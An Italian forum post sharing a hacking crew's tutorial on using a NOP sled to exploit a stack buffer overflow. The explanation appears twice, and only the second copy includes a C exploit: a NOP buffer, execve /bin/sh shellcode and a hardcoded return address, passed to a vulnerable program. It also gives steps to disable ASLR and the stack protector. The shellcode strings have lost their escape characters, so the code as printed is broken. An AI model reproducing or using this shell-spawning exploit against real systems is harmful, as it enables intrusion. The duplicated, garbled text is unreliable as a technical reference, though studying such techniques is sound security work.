La guida è stata creata da un ex membro della mia crew, gli ho dato uno sguardo veloce ma non dovrebbe avere problemi. Mi è stata utile in varie situazioni, e non ho trovato molte guide in italiano che parlano di questa tecnica. Tra l'altro questa guida credo non sia affatto presente nel web, per motivi che non starò a descrivere. In ogni caso se avete domande sono a disposizione, premettendo che non sono esperto nella creazione di exploit, ma qualcosa la so 
# Title: Applicare la tecnica del Nop Sled nelle applicazioni vulnerabili a Stack Overflow
# Written by: {~[.:_UnderScore_:.]~}
# Thanks to member of Dark Generation Crew: G0ld3n dr4g0n & Letal_Axel
Prerequisiti:
-Conoscenza elementare del linguaggio C;
-Conoscenza dei registri della CPU;
-Conoscenza del funzionamento di un programma a basso livello;
-Conoscenza avanzata della teoria sul Buffer Overflow;
Bene, cominciamo.
Quando si devono exploitare applicazioni vulnerabili a stack overflow ci si deve accertare che il proprio Shell Code venga eseguito. Per fare questo bisogna sovrascrivere competamente l' indirizzo di ret (precedentemente pushato sullo stack) con l' indirizzo del proprio shell code. Ma come si fa a conoscere l' indirizzo preciso dello shell code? Ci sono molte tecniche, tra queste il NOP Sled. C'è da precisare una cosa: il NOP Sled non è una tecnica con la quale si ottiene l' indirizzo dello shell code ma una tecnica per far "scivolare" EIP sullo Shell Code.
Ammettiamo di avere un programma vulnerabile che copia in un buffer dii 100 bytes argv[1] e supponiamo di conoscere già l' indirizzo che contiene ESP (Stack Pointer che conterrà un NOP) dopo aver ricevuto il segnale di SIGSEGV.
Supponiamo ancora che il buffer più i garbage data occupino 106 bytes, che il ret si trovi dopo 106 bytes dalla cima dello stack e che lo shell code occupi 45 bytes. Il nostro buffer che verrà passato come argomento all' applicazione vulnerabile sarà così strutturato:
1) 0-61: NOP (0x90);
2) 62-106: Shell Code;
3) 107-110: Indirizzo di un NOP;
Il buffer verrà immagazinato nello stack a rovescio, cioè le prime istruzioni che verranno pushate sono i NOP poi lo shell code e poi l' indirizzo di memoria. Quando il programma andrà a copiare il buffer lungo 110 bytes nel buffer di 100 bytes ci saranno 10 bytes di più, di cui 6 andranno a sovrascrivere i garbage data e i 4 che sovrascriveranno l' indirizzo di ret.
L' indirizzo di ret sarà uguale al' indirizzo di ESP, ovvero l' inizio dello stack, ovvero l' indirizzo di un NOP.
Quindi l'exploit dovrà creare un buffer ad hoc e passare questo buffer all' applicazione vulnerabile.
Da unistd.h possiamo prelevare la funzione execl() che eseguira l' applicazione vulnerabile e da string.h utilizziamo la funzione memcpy() e memset() per copiare i dati nel buffer.
Utilizzerò uno shell code che eseguira una nuova shell.
Ecco l' exploit:
N.B. Il kernel potrebbe avere abilitato lo Stack Randomization ovvero indirizzi dello stack diversi nella chiusura e apertura di un applicazione. Per disabilitarlo recatevi in /proc/sys/kernel e inserite 0 nel file randomize_va_space da root.
N.B. Potrebbe anche capitarvi che il kernel ha lo stack protector. Per disabilitarlo (se utilizzate gcc come compilatore) compilate con -fno-stack-protector.
Enjoy. D3x3
# Title: Applicare la tecnica del Nop Sled nelle applicazioni vulnerabili a Stack Overflow
# Written by: {~[.:_UnderScore_:.]~}
# Thanks to member of Dark Generation Crew: G0ld3n dr4g0n & Letal_Axel
Prerequisiti:
-Conoscenza elementare del linguaggio C;
-Conoscenza dei registri della CPU;
-Conoscenza del funzionamento di un programma a basso livello;
-Conoscenza avanzata della teoria sul Buffer Overflow;
Bene, cominciamo.
Quando si devono exploitare applicazioni vulnerabili a stack overflow ci si deve accertare che il proprio Shell Code venga eseguito. Per fare questo bisogna sovrascrivere competamente l' indirizzo di ret (precedentemente pushato sullo stack) con l' indirizzo del proprio shell code. Ma come si fa a conoscere l' indirizzo preciso dello shell code? Ci sono molte tecniche, tra queste il NOP Sled. C'è da precisare una cosa: il NOP Sled non è una tecnica con la quale si ottiene l' indirizzo dello shell code ma una tecnica per far "scivolare" EIP sullo Shell Code.
Ammettiamo di avere un programma vulnerabile che copia in un buffer dii 100 bytes argv[1] e supponiamo di conoscere già l' indirizzo che contiene ESP (Stack Pointer che conterrà un NOP) dopo aver ricevuto il segnale di SIGSEGV.
Supponiamo ancora che il buffer più i garbage data occupino 106 bytes, che il ret si trovi dopo 106 bytes dalla cima dello stack e che lo shell code occupi 45 bytes. Il nostro buffer che verrà passato come argomento all' applicazione vulnerabile sarà così strutturato:
1) 0-61: NOP (0x90);
2) 62-106: Shell Code;
3) 107-110: Indirizzo di un NOP;
Il buffer verrà immagazinato nello stack a rovescio, cioè le prime istruzioni che verranno pushate sono i NOP poi lo shell code e poi l' indirizzo di memoria. Quando il programma andrà a copiare il buffer lungo 110 bytes nel buffer di 100 bytes ci saranno 10 bytes di più, di cui 6 andranno a sovrascrivere i garbage data e i 4 che sovrascriveranno l' indirizzo di ret.
L' indirizzo di ret sarà uguale al' indirizzo di ESP, ovvero l' inizio dello stack, ovvero l' indirizzo di un NOP.
Quindi l'exploit dovrà creare un buffer ad hoc e passare questo buffer all' applicazione vulnerabile.
Da unistd.h possiamo prelevare la funzione execl() che eseguira l' applicazione vulnerabile e da string.h utilizziamo la funzione memcpy() e memset() per copiare i dati nel buffer.
Utilizzerò uno shell code che eseguira una nuova shell.
Ecco l' exploit:
Codice:
#include <string.h>
#include <unistd.h>
#define APP "./applicazione_vulnerabile"
#define NOP 61
#define ADDR "x20xf6xffxbf" //questo è l' indirizzo di ESP dell' applicazione dopo il segnale di SIGSEGV
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
int main()
{
char buffer[110];
memset(buffer,0x90,NOP);
memcpy (buffer + NOP,shellcode,sizeof(shellcode));
memcpy (buffer + NOP + sizeof(shellcode)-1,ADDR,4);
execl (APP,APP,buffer,0);
return 0;
}N.B. Il kernel potrebbe avere abilitato lo Stack Randomization ovvero indirizzi dello stack diversi nella chiusura e apertura di un applicazione. Per disabilitarlo recatevi in /proc/sys/kernel e inserite 0 nel file randomize_va_space da root.
N.B. Potrebbe anche capitarvi che il kernel ha lo stack protector. Per disabilitarlo (se utilizzate gcc come compilatore) compilate con -fno-stack-protector.
Enjoy. D3x3
